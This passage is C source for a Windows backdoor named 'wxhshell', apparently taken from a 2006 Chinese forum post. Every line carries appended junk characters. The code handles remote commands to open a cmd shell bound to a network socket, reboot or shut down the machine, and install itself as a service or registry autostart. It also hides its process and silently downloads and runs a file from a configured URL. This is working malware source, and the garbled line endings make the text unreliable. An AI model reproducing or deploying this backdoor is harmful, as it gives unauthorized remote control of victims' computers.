  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S.#IC lV  
  } Q#2gjR r  
  else { 3S97hn{|=  
!4blX'<w  
    switch(cmd[0]) { sr*3uI-)L  
  yl#(jb[?1  
  // 帮助 -S7y1 )7  
  case '?': { Y\sSW0ZX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g3`:d)|  
    break; n> >!dg Og  
  } {r$n $  
  // 安装 !RJuH;8  
  case 'i': { xMb)4cw}  
    if(Install()) j1yW{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O'OVj  
    else a IA9rn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VEuT!^0Z  
    break; (}|QSf:  
    } EzXGb  
  // 卸载 <![]=~z $  
  case 'r': { k!^Au8Up?  
    if(Uninstall()) "|\G[xLOaW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i r-= @@  
    else **%/Ke[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Hp{8c  
    break; :+G1=TuXw~  
    } vuOixAkw  
  // 显示 wxhshell 所在路径 w,<nH:~  
  case 'p': { C|@6rr9TA  
    char svExeFile[MAX_PATH]; _9^  
    strcpy(svExeFile,"\n\r"); 7<ZP(I5X  
      strcat(svExeFile,ExeFile); \R6D'Yt  
        send(wsh,svExeFile,strlen(svExeFile),0); Q}A*{9#|  
    break; K_fQFuj+  
    } [xTu29X.  
  // 重启 ;Tn$c70  
  case 'b': { >A+0"5+_p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RoG `U  
    if(Boot(REBOOT)) IC1oW)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e)Be*J]4  
    else { s Y^#I  
    closesocket(wsh); \5MW65  
    ExitThread(0); {GTOHJ2  
    } M_5$y )M  
    break; u; c)T t  
    } !c;Z<@  
  // 关机 nkv+O$LXP  
  case 'd': { 7kQZ$sLc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^UB<U#8,  
    if(Boot(SHUTDOWN))  Stzv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :U,n[.$5'  
    else { 9L$bJO-3  
    closesocket(wsh); 0""t`y&  
    ExitThread(0); Wsz-#kc\[  
    } ) r8yt}  
    break; ypCarvQT  
    } WSt&?+Y  
  // 获取shell ({GN.pC(  
  case 's': { Ik4FVL8~  
    CmdShell(wsh); 4\cJ}p}LZ{  
    closesocket(wsh); k u@sQn  
    ExitThread(0); mHm"QBa!  
    break; .4jU G=  
  } D*Cn!v$  
  // 退出 ~^<ju6O'  
  case 'x': { {0&'XA=j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gu3# y"a>  
    CloseIt(wsh); W^es"\  
    break; -3z$~ {  
    } "sM 3NY  
  // 离开 jkzC^aG  
  case 'q': { yX-h|Cr"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wfw6(L  
    closesocket(wsh); Y-0o>:SM  
    WSACleanup(); H=_ Wio  
    exit(1); "kS(b4^  
    break; sQ4~oZZ  
        } 0u3"$o'R  
  } $KmhG1*s  
  } ]TE,N$X  
D2060ze  
  // 提示信息 q ,C)AZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f  _ O  
} u_;&+o2  
  } uxxS."~  
da'7* &/  
  return; Xy0KZ !  
} \-Oq/g{j  
aUqVcEU1  
// shell模块句柄 X; ~3 U 9  
int CmdShell(SOCKET sock) 6 4fB$  
{ q1|! oQ  
STARTUPINFO si; QSaJb?I  
ZeroMemory(&si,sizeof(si)); <9BM%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +2ZBj6 e9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P B W.nm  
PROCESS_INFORMATION ProcessInfo; =:4vRq [  
char cmdline[]="cmd"; 3 ;N+5*-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AUan^Om  
  return 0; iG.qMf.  
} l'K3)yQEJ  
8,5H^Bi  
// 自身启动模式 ,X&(BQj h  
int StartFromService(void) #S*@RKSE|7  
{ "!fvEE  
typedef struct o#X=1us  
{ 'K"7Tex  
  DWORD ExitStatus; jn+M L&  
  DWORD PebBaseAddress; _:ORu Vk  
  DWORD AffinityMask; ? >\JX  
  DWORD BasePriority; 7[b]%i  
  ULONG UniqueProcessId; 9rCvnP=  
  ULONG InheritedFromUniqueProcessId; XW^Sw;[efZ  
}   PROCESS_BASIC_INFORMATION; 0zL7$Q#c  
&ND8^lR=Y;  
PROCNTQSIP NtQueryInformationProcess; +1R qo  
bsn.HT"5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q)H1\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jgkJF[t`  
WX2w7O'R  
  HANDLE             hProcess; w<4,;FFlZ/  
  PROCESS_BASIC_INFORMATION pbi; bSKe@4C  
#U=}Pv~wM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :.K#=ROP  
  if(NULL == hInst ) return 0; 6{qI  
y{`aM(&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hf ]w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RyJN=;5p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n*HRGJ  
RjOQSy3  
  if (!NtQueryInformationProcess) return 0; fFBD5q(n  
r2Wx31j{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); us:V\V  
  if(!hProcess) return 0; +( *;F4>  
y*AB=d^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^LO`6,   
rl <! h5  
  CloseHandle(hProcess); UB4M=R|  
z@_ 9.n]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *>ilT5q  
if(hProcess==NULL) return 0; w'Cn3b)`  
S!u`V3-s  
HMODULE hMod; +Yuy%VT  
char procName[255]; j.5;0b_L^  
unsigned long cbNeeded; B;ro(R  
nhUL{ER  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $oJ)W@>  
XO=UKk+EK  
  CloseHandle(hProcess); T.=du$  
@\!9dK-W  
if(strstr(procName,"services")) return 1; // 以服务启动 6]#\|lds1  
vfh0aW-O  
  return 0; // 注册表启动 !Gphs`YI  
} `wyX)6A|bt  
9O%4x"*PO  
// 主模块 ^w+jPT-n  
int StartWxhshell(LPSTR lpCmdLine) T}?vp~./   
{ ice7J2r_  
  SOCKET wsl; D-/aS5wM  
BOOL val=TRUE; Z1(-FT6O  
  int port=0; ~+y0UEtq7  
  struct sockaddr_in door; +hz^( I7  
h%hE$2  
  if(wscfg.ws_autoins) Install(); L?@ TF;  
A5lP%&tu(  
port=atoi(lpCmdLine); .45XS>=z#  
(N etn&  
if(port<=0) port=wscfg.ws_port; :\0q\2e[<  
G]Jchg <  
  WSADATA data; $J~~.PUXQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )P{I<TBI;  
ZU vA`   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U#B,Q6~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [N|/d#  
  door.sin_family = AF_INET; jU#/yM "Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X9:(}=E V  
  door.sin_port = htons(port); )$#r6fQO  
8Ee bWs*1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &M)S~Hb^  
closesocket(wsl); ;x[F4d  
return 1; XsldbN^ 6  
} mErXdb|L  
>`jsUeS  
  if(listen(wsl,2) == INVALID_SOCKET) { G-U%  
closesocket(wsl); ${$XJs4  
return 1; iL-I#"qT,  
} lR!Sdd} -  
  Wxhshell(wsl); x M1>kbo|  
  WSACleanup(); n'/w(o$&  
7Q<uk[d0  
return 0; VV(>e@Bc4  
Sx,O)  
} GHHErXT\a  
k'N `5M)  
// 以NT服务方式启动 }2Lh'0 xY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $'f<4  
{  qO  
DWORD   status = 0; 8wz4KG3SK  
  DWORD   specificError = 0xfffffff; z8 bDBoD6  
28[dTsd%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \lKiUy/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; khl(9R4a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {xw*H<"f<  
  serviceStatus.dwWin32ExitCode     = 0; k]<  
  serviceStatus.dwServiceSpecificExitCode = 0; EXDtVa Ot  
  serviceStatus.dwCheckPoint       = 0; =2#a@D6Bl  
  serviceStatus.dwWaitHint       = 0; %3e}YQe)  
TB] %?L:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  M/5e4b  
  if (hServiceStatusHandle==0) return; @18"o"c7j  
#Zpp*S55  
status = GetLastError(); N2_j[Pe  
  if (status!=NO_ERROR) Q p7|p  
{ v{ .-x\;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %t0Fx  
    serviceStatus.dwCheckPoint       = 0; e-4XNL[F  
    serviceStatus.dwWaitHint       = 0; V *=To  
    serviceStatus.dwWin32ExitCode     = status; b .k J&c  
    serviceStatus.dwServiceSpecificExitCode = specificError; ze Qgg|;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Ak,M-Jp  
    return; GzK{. xf  
  } OpY2Z7_  
}N5>^y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <ns[( Q  
  serviceStatus.dwCheckPoint       = 0; OiX>^_iDt  
  serviceStatus.dwWaitHint       = 0; 58*s\*V` \  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `rC9i5:  
} FG7}MUu  
!v|j C  
// 处理NT服务事件,比如:启动、停止 a +Q9kh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;Jt*s  
{ U9IP`)z_5t  
switch(fdwControl) \_FX}1Wc2.  
{ ^~0Mw;n&  
case SERVICE_CONTROL_STOP: KzZ! CB\  
  serviceStatus.dwWin32ExitCode = 0; cTm oz.0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Zo`'xg  
  serviceStatus.dwCheckPoint   = 0; <CJua1l\  
  serviceStatus.dwWaitHint     = 0; L,.Ae i9  
  { DF'-dh</*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PygT_-3z{  
  } sTdD=>  
  return; au2 ieZZ[  
case SERVICE_CONTROL_PAUSE: ^8aj\xe(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?b2  
  break; >e*m8gm#  
case SERVICE_CONTROL_CONTINUE: %\=5,9A\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZAzn-n  
  break; ^ng#J\  
case SERVICE_CONTROL_INTERROGATE: %(Sy XZ  
  break; aOfL;I  
}; Dna0M0   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); < i*v  
} =C 8 t5BZ"  
Adgh:'h  
// 标准应用程序主函数 4&)*PKq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _)Q) tOW  
{ 2V_C_5)1  
ws Lg6  
// 获取操作系统版本 t>f<4~%MJ  
OsIsNt=GetOsVer(); Ojq>4=Z\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rOw""mE  
oEU %"  
  // 从命令行安装 LYNd^}  
  if(strpbrk(lpCmdLine,"iI")) Install(); |{+D65R  
R!;tF|]  
  // 下载执行文件  Ek(. ["  
if(wscfg.ws_downexe) { esx<feP)\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jf@M>BT^A  
  WinExec(wscfg.ws_filenam,SW_HIDE); br+{23&1R#  
} /J`8Gk59  
6ND,4'6  
if(!OsIsNt) { &Qy_= -]  
// 如果时win9x,隐藏进程并且设置为注册表启动 9r@r\-  
HideProc(); a \B<(R.  
StartWxhshell(lpCmdLine); q.FgX  
} dG}fpQ3&  
else ~"!F&  
  if(StartFromService()) T{d7,.:  
  // 以服务方式启动 lZZ4 O(  
  StartServiceCtrlDispatcher(DispatchTable); P!:Y<p{=>  
else )`yxJ;O@$  
  // 普通方式启动 9d^o2Y o  
  StartWxhshell(lpCmdLine); k1i*1Tc  
ug0[*#|Y  
return 0; &\4AvaeA8y  
}
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只看该作者 1 发表于: 2006-10-10
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